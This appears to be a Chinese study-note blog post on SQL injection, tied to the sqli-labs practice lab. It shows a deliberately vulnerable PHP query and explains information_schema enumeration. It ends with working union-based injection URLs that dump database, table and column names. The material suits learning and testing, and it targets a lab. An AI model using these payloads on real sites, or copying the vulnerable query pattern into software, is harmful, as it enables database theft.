SQL注入学习
Posted 小熊猫学步
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入学习相关的知识,希望对你有一定的参考价值。
很多人并没有耐心和足够的时间学习,而是想一步登天!
--- 记录一段学习过程
首先简单介绍一下SQL注入的成因。开发人员在开发过程中,直接将URL中的参数、HTTP Body中的Post参数或其他外来的用户输入(如Cookies,UserAgent等)与SQL语句进行拼接,造成待执行的SQL语句可控,从而使我们可以执行任意SQL语句。
例如:php
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
mysql基本操作
show database; 查看数据库
use db_name ; 使用db_name数据库
show tables; 查看当前数据库的数据表
desc tables_name; 查看tables_name表结构
注入常用函数:
1. version()——MySQL 版本
2. user()——数据库用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,
UNION 内部的 SELECT 语句必须拥有相同数量的列。
列也必须拥有相似的数据类型。
同时,每条 SELECT 语句中的 列的顺序必须相同。
SQL UNION 语法
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。
information_schema
系统自带库,该库存储了数据库的所有信息,包括所有的库名,表名,字段名
-----------schemas 存储库
tables表存储表名、常用字段有一下两个:-----------table_name 表名
-----------table_schema 字段名
columns 表存储字段名,常用字段有三个:
------------column_name 存储字段名
------------column_schem 字段所属库
------------column_table 字段所属表
Mysql 系统数据库 information_schema,存储着所有的数据库的相关信息,一般的, 我们利用该表可以进行一次完整的注入。
以下为一般的流程。
猜数据库
select schema_name from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列
Select column_name from information_schema.columns where table_name=’xxxxx’
获取某列的内容
Select *** from ****
concat(str1,str2,...)——没有分隔符地连接字符串
concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
*多用于列出某一列或某几列的全部数据
例子
http://127.0.0.1/sqllib/Less-1/?id=-1’union select 1,group_concat(schema _name),3 from information_schema.schemata
union+ information_schema+concat套装语句
http://***/?id=-1' union select 1,2,3 --+
http://192.168.153.139/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
http://192.168.153.139/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
http://192.168.153.139/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
以上是关于SQL注入学习的主要内容,如果未能解决你的问题,请参考以下文章